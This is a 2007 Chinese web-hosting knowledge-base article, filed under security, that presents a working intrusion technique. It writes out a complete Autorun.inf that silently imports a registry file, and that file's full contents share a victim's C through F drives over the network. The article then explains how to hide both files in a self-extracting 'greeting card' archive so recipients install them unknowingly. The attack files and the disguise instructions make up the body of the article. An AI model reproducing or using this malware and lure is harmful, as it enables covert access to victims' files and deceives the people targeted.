ID:   密码:   验证码:  
我的知识库
服务器-WEB服务器
服务器-FTP服务器
服务器-安全防护
IDC业务相关
网络编程-ASP
网络编程-PHP
网络编程-.NET
网络编程-XML
数据库-Access
数据库-Mssql
数据库-Mysql
主机相关问题
域名相关问题
邮局相关问题
付款相关问题
相关文本合同
游戏技术-传奇私服架设
游戏技术-传奇脚本信息
游戏技术-传世私服
常用软件下载
首页 >> 我的知识库>>服务器-安全防护>> 黑客也能通过自解压包来实现入侵  
黑客也能通过自解压包来实现入侵
[ 作者:  | 文章来源: 网页教学网 | 点击数: 346 | 更新时间: 2007-7-25 23:41:55 ]

用自解压包删光别人的硬盘,相信大家都会。我给大家介绍个用自解压包入侵的方法。
如果捆绑一个木马给别人,只要稍有常识的人有杀毒软件就可以识破。如果不用木马,用些批处理炸弹、碎片对象文件、或自导入注册表文件,就可以实现各种攻击。 Spdns.com

把以下两行保存为Autorun.inf
[Autorun]
open=regedit /s Autorun.reg

[南通服务器网]

把以下一段保存为Autorun.reg

Spdns.com

REGEDIT4 [南通服务器网]

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\c$]
"Path"="c:\\"
"Remark"=""
"Type"=dword:00000000
"Flags"=dword:00000192
"Parm1enc"=hex:
"Parm2enc"=hex:

Spdns.com

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\D$]
"Path"="D:\\"
"Remark"=""
"Type"=dword:00000000
"Flags"=dword:00000192
"Parm1enc"=hex:
"Parm2enc"=hex: Spdns.com

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\E$]
"Path"="E:\\"
"Remark"=""
"Type"=dword:00000000
"Flags"=dword:00000192
"Parm1enc"=hex:
"Parm2enc"=hex:

[南通服务器网]

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\F$]
"Path"="F:\\"
"Remark"=""
"Type"=dword:00000000
"Flags"=dword:00000192
"Parm1enc"=hex:
"Parm2enc"=hex:

[南通服务器网]

比如在当今电子贺卡漫天飞的时代,可以把你的自解压包命名为“猴年贺卡”,包里包个真贺卡,顺便把以上两个文件打包进去,注意要指定文件解包路径。当收贺卡人点击自解压包时真贺卡被解压的同时,两个文件就悄悄的被解到指定位置。Autorun.inf必须解到某一分区的根目录,名字不能变,可以设置文件隐藏属性。

Spdns.com

Autorun.reg文件名和释放目录可以任意,可以更好的隐藏,注意Autorun.inf指向目录正确的地方。

[南通服务器网]

当受害人双击有Autorun.inf的分区时,他的硬盘C、D、E、F分区就被打开公享。 Spdns.com

Tags:黑客 解压包 入侵 安全 防护
责任编辑:阿婷



评论
收藏
推荐
打印
关闭
字体:+ -
纠错


Copyright © 1999-2007 诚信 合法 规范的南通服务器网 www.spdns.com 始建于1996
企业总机:400-618-5529(只收市话费) 未开通400地区:0513-83015999 / 84012988 / 84519829
上海亿流数码科技有限公司 地址:江苏省南通市如东电信局大楼3楼IDC运维部
《中华人民共和国增值电信业务经营许可证》沪B2-20060518号
信息产业部备案编号:苏ICP备05009350号
电子执照:沪企3102272090823